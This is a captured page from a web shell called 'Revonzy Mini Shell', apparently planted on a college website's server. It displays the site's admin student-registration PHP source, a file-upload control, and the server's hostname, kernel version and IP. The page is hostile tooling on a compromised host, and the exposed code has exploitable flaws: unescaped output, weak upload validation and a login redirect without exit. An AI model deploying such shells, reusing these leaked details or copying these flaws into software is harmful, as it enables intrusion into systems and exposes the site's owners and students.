Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/old/admin/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/uesmahilamahavidyalaya.org/old/admin/student-panel.php

<?php
	require_once("lib/functions.php");
	$db = new login_function();
	$flag = 0;
	$actual_image_name="";
	$success_msg = 0;
	$image_error = "";
	$department_error = "";
	$staff_error = "";
	$succ_flag = 0;
	$contact_no= "";
	$prn = "";
	$full_name = "";
	$last_name = "";
	$roll_no = "";
	$email_id = "";
	$dob = date('d-m-Y');
	$semester_error = "";
	$division_error = "";
	$gender = "";
	$address = "";
	$email_error = "";
	$password = "";
	$department =   "";
	$semester ="";
	$division ="";
	$batch =    "";
	
	if(!isset($_SESSION['current_login_admin']))
	{
		header("Location:/admin/index.php");
	}
	if(isset($_SESSION['current_login_admin']))
	{
		$email	=	$_SESSION['current_login_admin'];
	}
	if(isset($_POST['add_btn']))
	{	
		$prn 			= $_POST['prn'];
		$full_name 		= $_POST['full_name'];
		$last_name		= $_POST['last_name'];
		$department		= $_POST['department'];
		$semester		= $_POST['semster'];
		$division		= $_POST['division'];
		$batch		    = $_POST['batch'];
		$email_id		= $_POST['email_id'];
		$roll_no		= $_POST['roll_no'];
		$gender			= $_POST['gender'];
		$address		= $_POST['address'];
		$dob			= $_POST['dob'];
		$contact_no		= $_POST['contact_no'];
		$password		= $_POST['password'];
		
		
		if($department == 'select_department')
		{
			$department_error ="Please select Department";
			$flag = 1;
		}
		if($semester == 'Select Semester')
		{
			$semester_error = "Please select Semester";
			$flag = 1;
		}
		if($division == 'Select Division')
		{
			$division_error = "Please select Division";
			$flag = 1;
		}
		
		
		
		$valid_formats = array("jpg","png","gif","bmp","jpeg","JPEG","JPG","BMP","PNG","GIF");
	
		if(isset($_POST) and $_SERVER['REQUEST_METHOD'] == "POST")
		{	
			$name 				= 	$_FILES['picture']['name'];
			$size 				= 	$_FILES['picture']['size'];

			if(strlen($name))
				{				
					list($txt, $ext) = explode(".", $name);
					
					if(in_array($ext,$valid_formats))
					{
						$files	=	array();

						function generateRandomString($length = 10) {
							$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
							$charactersLength = strlen($characters);
							$randomString = '';
							for ($i = 0; $i < $length; $i++) 
							{
								$randomString .= $characters[rand(0, $charactersLength - 1)];
							}
							return $randomString;
						}
						
						$current_random_string = generateRandomString();
						
						$actual_image_name = $current_random_string.".".strtolower($ext);						

						$tmp = $_FILES['picture']['tmp_name'];
						
						$img_Dir = "../profile-picture/";
						
						if(!file_exists($img_Dir))
						{
							mkdir($img_Dir);
						}
						
						if(move_uploaded_file($tmp,$img_Dir.$actual_image_name))
						{
							
						}
						else
						{
							$image_error	=	"failed" ;
							$flag				=	1;
						}	
					}
					else
					{
						$image_error	= "Invalid file format";
						$flag				=	1;	
					}	
				}	
		}
		
		if($flag == 0)
		{
			$check_email = $db->check_email_exist_or_not_in_student($email_id);
			if($check_email == "")
			{
				if($db->add_student_data($prn,$full_name,$last_name,$department,$semester,$division,$roll_no,$email_id,$gender,$address,$dob,$contact_no,$actual_image_name,$password,$batch))
					{
						$success_msg = 1 ;
						$contact_no= "";
						$prn = "";
						$full_name = "";
						$last_name = "";
						$roll_no = "";
						$email_id = "";
						$division = "";
						$department = "";
						$semester = "";
						$dob = "";
						$password = "";
					}
			}
			else
			{
				$email_error = "This Email Id Already Exists";
			}
		}
			
	}

?>
<link rel="stylesheet" href="/css/jquery-ui.css">
  <script src="/js/jquery-1.12.4.js"></script>
  <script src="/js/jquery-ui.js"></script>
<?php
	require_once('header.php');
?>

<script>
  $( function() {
    $( "#datepicker" ).datepicker();
  } );
 </script>
        <div id="page-wrapper">
            <div class="row">
                <div class="col-lg-12">
                    <h1 class="page-header"> Student Panel</h1>
					<?php
					if($success_msg == 1)
					{
					?>
					<div class="alert alert-success">
						Records Added Successfully.
						</div>
					<?php
					}
					?>
					
					
					
                </div>
                
            </div>
            
            <div class="row">
                <div class="col-lg-12">
                    <div class="panel panel-default">
                        <div class="panel-heading">
                            Student Panel
                        </div>
                        <div class="panel-body">
                            <div class="row">
                                <div class="col-lg-6">
                                    <form role="form" method="post" enctype="multipart/form-data">
									 <div class="form-group">
                                            <label> PRN </label>
                                            <input class="form-control" placeholder="Enter PRN" name="prn" type="text" value="<?php echo $prn; ?>" required>
									   </div>
									 <div class="form-group">
                                            <label> First Name</label>
                                            <input class="form-control" placeholder="Enter First Name" name="full_name" type="text" value="<?php echo $full_name; ?>" required>
									   </div>
									    <div class="form-group">
                                            <label> Last Name</label>
                                            <input class="form-control" placeholder="Enter Last Name" name="last_name" type="text" value="<?php echo $last_name; ?>" required>
									   </div>
									   	<div class="form-group">
                                            <label> Select Department </label>
                                            <select class="form-control" name="department">
												<?php
													if($department != "")
													{
												?>
												<option value="<?php echo $department; ?>"> <?php echo $department; ?> </option>
												<?php
													}
												?>
												<option value="Select Department">Select Department</option>
											<?php
									
												$report_details = $db->get_all_department();
												if(!empty($report_details))
												{
													$counter =0;
													foreach($report_details as $record)
													{
														$id				=	$report_details[$counter][0];
														$department_name=	$report_details[$counter][1];
											?>
												<option value="<?php echo $department_name; ?>"><?php echo $department_name; ?></option>
											<?php
													$counter++;
													}
												}
											?>
											</select>
											<span style="color:red;"><?php echo $department_error; ?></span>                                      
									   </div>
									    <div class="form-group">
                                            <label> Select Semester </label>
                                            <select class="form-control" name="semster">
											<?php
													if($semester != "")
													{
											?>
												<option value="<?php echo $semester; ?>"> <?php echo $semester; ?> </option>
											<?php
													}
											?>
											<option value="Select Semester">Select Semester</option>
											<?php
									
												$report_details = $db->get_all_semester();
												if(!empty($report_details))
												{
													$counter =0;
													foreach($report_details as $record)
													{
														$id				=	$report_details[$counter][0];
														$semester_name  =	$report_details[$counter][1];
											?>
												<option value="<?php echo $semester_name; ?>"><?php echo $semester_name; ?></option>
											<?php
													$counter++;
													}
												}
											?>
											</select>
											<span style="color:red;"><?php echo $semester_error; ?></span>                                      
									   </div>
									    <div class="form-group">
                                            <label> Select Division </label>
                                            <select class="form-control" name="division">
											<?php
													if($division != "")
													{
											?>
												<option value="<?php echo $division; ?>"> <?php echo $division; ?> </option>
											<?php
													}
											?>
											<option value="Select Division">Select Division</option>
											<?php
									
												$report_details = $db->get_all_section();
												if(!empty($report_details))
												{
													$counter =0;
													foreach($report_details as $record)
													{
														$id				=	$report_details[$counter][0];
														$division_name  =	$report_details[$counter][1];
											?>
												<option value="<?php echo $division_name; ?>"><?php echo $division_name; ?></option>
											<?php
													$counter++;
													}
												}
											?>
											</select>
											<span style="color:red;"><?php echo $division_error; ?></span>                                      
									   </div>
									   <div class="form-group">
                                            <label> Batch </label>
                                            <select class="form-control" name="batch" required>
												<?php
													if($batch != "")
													{
												?>
												<option value="<?php echo $batch; ?>"> <?php echo $batch; ?> </option>
												<?php
													}
												?>
												<option value="Select Division">Select Batch</option>
												<option value="A"> A </option>
												<option value="B"> B </option>
												
											</select>
											<span style="color:red;"><?php echo $division_error; ?></span>  
									   </div>
									   	<div class="form-group">
                                            <label> Roll No</label>
                                            <input class="form-control" placeholder="Enter Roll No" name="roll_no" type="text" required value="<?php echo $roll_no; ?>">
									   </div>
									   	<div class="form-group">
                                            <label> Email </label>
                                            <input class="form-control" placeholder="Enter Email Id" name="email_id" type="email" value="<?php echo $email_id; ?>" required>
											<span style="color:red;"><?php echo $email_error; ?></span>
									   </div>
									   	<div class="form-group">
                                            <label> Gender </label>
                                           <?php
											if($gender == 'Male')
											{
											?>
											<input name="gender" type="radio" value="Male" checked> Male
											<input name="gender" type="radio" value="Female" > Female
											<?php
											}else
											{
											?>
                                            <input name="gender" type="radio" value="Male"> Male
											<input name="gender" type="radio" value="Female" checked> Female
											<?php
											}
											?>
											
									   </div>
									   	<div class="form-group">
                                            <label> Address </label>
                                            <textarea class="form-control" placeholder="Enter Address" name="address" type="text" required><?php echo $address; ?></textarea>
									   </div>
									   	<div class="form-group">
                                            <label> DOB </label>
                                            <input class="form-control" value="<?php echo $dob; ?>" id="datepicker" placeholder="Enter DOB " name="dob" type="text">
									   </div>
									   	 <div class="form-group">
                                            <label>Contact No</label>
                                            <input class="form-control" value="<?php echo $contact_no; ?>" placeholder="Enter Contact No" name="contact_no" type="text" >
									   </div>
                                 
                                        <div class="form-group">
                                            <label> Profile Picture</label>
                                            <input class="form-control" placeholder="Enter Name" name="picture" type="file" required>
											<span style="color:red;"><?php echo $image_error; ?></span>  
									   </div>
                                       <div class="form-group">
                                            <label> Password </label>
                                            <input class="form-control" value="<?php echo $password; ?>" placeholder="Enter Password" name="password" type="password" >
									   </div>
                                 
                                        <button type="submit" class="btn btn-success" name="add_btn">Submit </button>	<br /><br />
                                    </form>
                                </div>

                                
                                   
                               
                                
                            </div>
                           
                        </div>
                        
                    </div>
                    
                </div>
              
            </div>
            
        </div>
       

    </div>
    

</body>

</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4